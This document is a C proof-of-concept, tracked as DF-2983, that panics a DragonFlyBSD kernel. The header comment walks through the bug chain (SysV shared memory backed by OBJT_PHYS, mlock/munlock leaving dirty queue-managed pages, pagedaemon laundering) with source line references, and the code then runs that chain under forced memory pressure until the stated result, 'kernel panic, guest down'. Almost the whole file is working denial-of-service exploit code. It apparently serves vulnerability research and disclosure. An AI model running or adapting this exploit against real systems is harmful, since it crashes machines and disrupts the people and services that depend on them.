/*
 * DF-2983 — DragonFlyBSD kernel panic via SysV shm (OBJT_PHYS) + mlock/munlock
 *
 * NOTE: on DragonFly mlock(2) requires SYSCAP_RESTRICTEDROOT (vm_mmap.c:1030,
 * the pmap_wired_count #ifdef is dead code on every platform), so the PoC is
 * run as root.  The kernel-level bug is unchanged: wiring faults create
 * queue-managed pages in OBJT_PHYS objects, which phys_pager cannot launder.
 *
 * Chain:
 *  1. shmget()  -> segment backed by OBJT_PHYS object  (sysv_shm.c:540-542)
 *  2. mlock()   -> vm_fault(..., VM_PROT_READ, VM_FAULT_USER_WIRE)
 *                  (vm_fault.c:2631) — TRYPAGER() is false for wire faults
 *                  (vm_fault.c:383-385), so phys_pager_getpage() never runs;
 *                  the page is zero-filled at vm_fault.c:2327 WITHOUT
 *                  PG_UNQUEUED -> queue-managed page in a phys object.
 *  3. write     -> page dirtied through the pmap.
 *  4. munlock() -> vm_fault_unwire() -> vm_page_unwire(m,1) (vm_fault.c:2694)
 *                  -> page placed on the active queue, dirty.
 *  5. memory pressure -> pagedaemon inactive scan: object type is not
 *                  SWAP/DEFAULT so swap_pageouts_ok=1 (vm_pageout.c:1186-1189,
 *                  code assumes "not anon == vnode"), -> vm_pageout_page ->
 *                  vm_pageout_clean_helper (PG_UNQUEUED check at :329 passes,
 *                  flag absent) -> vm_pageout_flush -> vm_pager_put_pages
 *                  (vm_pageout.c:509) -> phys_pager_putpages ->
 *                  panic("phys_pager_putpage called")  (phys_pager.c:114)
 *
 * Success criterion: kernel panic "phys_pager_putpage called", guest down.
 */
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define DIRTY_MB	512	/* dirty, queue-managed pages in OBJT_PHYS */
#define HOG_MB		1536	/* unreclaimable phys hog (PG_UNQUEUED)     */
#define EAT_MB		512	/* anonymous churn for the pagedaemon       */

static void die(const char *s) { perror(s); exit(1); }

int
main(void)
{
	int id_a, id_b;
	char *a, *b;
	size_t dirty_sz = (size_t)DIRTY_MB << 20;
	size_t hog_sz = (size_t)HOG_MB << 20;
	size_t i;

	setvbuf(stdout, NULL, _IONBF, 0);
	printf("[*] uid=%d euid=%d\n", getuid(), geteuid());

	/* Stage 1: create dirty, queue-managed pages in an OBJT_PHYS object */
	id_a = shmget(IPC_PRIVATE, dirty_sz, IPC_CREAT | 0600);
	if (id_a < 0)
		die("shmget(A)");
	a = shmat(id_a, NULL, 0);
	if (a == (void *)-1)
		die("shmat(A)");
	printf("[*] A shmid=%d (%d MB) @ %p\n", id_a, DIRTY_MB, a);

	/* FIRST fault on these pages is the wiring fault (pager bypassed) */
	if (mlock(a, dirty_sz) < 0)
		die("mlock(A)");
	printf("[*] A mlocked: wiring faults bypassed phys_pager_getpage "
	       "(no PG_UNQUEUED)\n");

	memset(a, 0x41, dirty_sz);	/* dirty while wired */
	printf("[*] A written (dirty)\n");

	if (munlock(a, dirty_sz) < 0)
		die("munlock(A)");
	printf("[*] A munlocked: %d dirty pages now queue-managed in an "
	       "OBJT_PHYS object\n", (int)(dirty_sz >> 12));

	/* Stage 2: unreclaimable phys hog (normal faults -> PG_UNQUEUED) */
	id_b = shmget(IPC_PRIVATE, hog_sz, IPC_CREAT | 0600);
	if (id_b < 0)
		die("shmget(B)");
	b = shmat(id_b, NULL, 0);
	if (b == (void *)-1)
		die("shmat(B)");
	printf("[*] B shmid=%d (%d MB) @ %p: touching\n", id_b, HOG_MB, b);
	for (i = 0; i < hog_sz; i += 4096)
		b[i] = (char)i;
	printf("[*] B resident: system under real memory pressure\n");

	/* Stage 3: anonymous churn to drive the pageout daemon */
	if (fork() == 0) {
		size_t n = 0;
		for (;;) {
			char *p = malloc(16 << 20);
			if (!p) {
				sleep(1);
				continue;
			}
			for (i = 0; i < (16u << 20); i += 4096)
				p[i] = 1;
			n += 16;
			if (n >= EAT_MB)
				break;
		}
		pause();	/* hold the memory */
		_exit(0);
	}

	printf("[*] waiting for the pagedaemon to launder the dirty phys "
	       "pages...\n");
	for (i = 0; i < 240; i++) {
		sleep(1);
		/* keep touching A's first page so pressure logic sees the seg */
		a[0] = (char)i;
	}
	printf("[!] no panic after 240s\n");
	return 2;
}
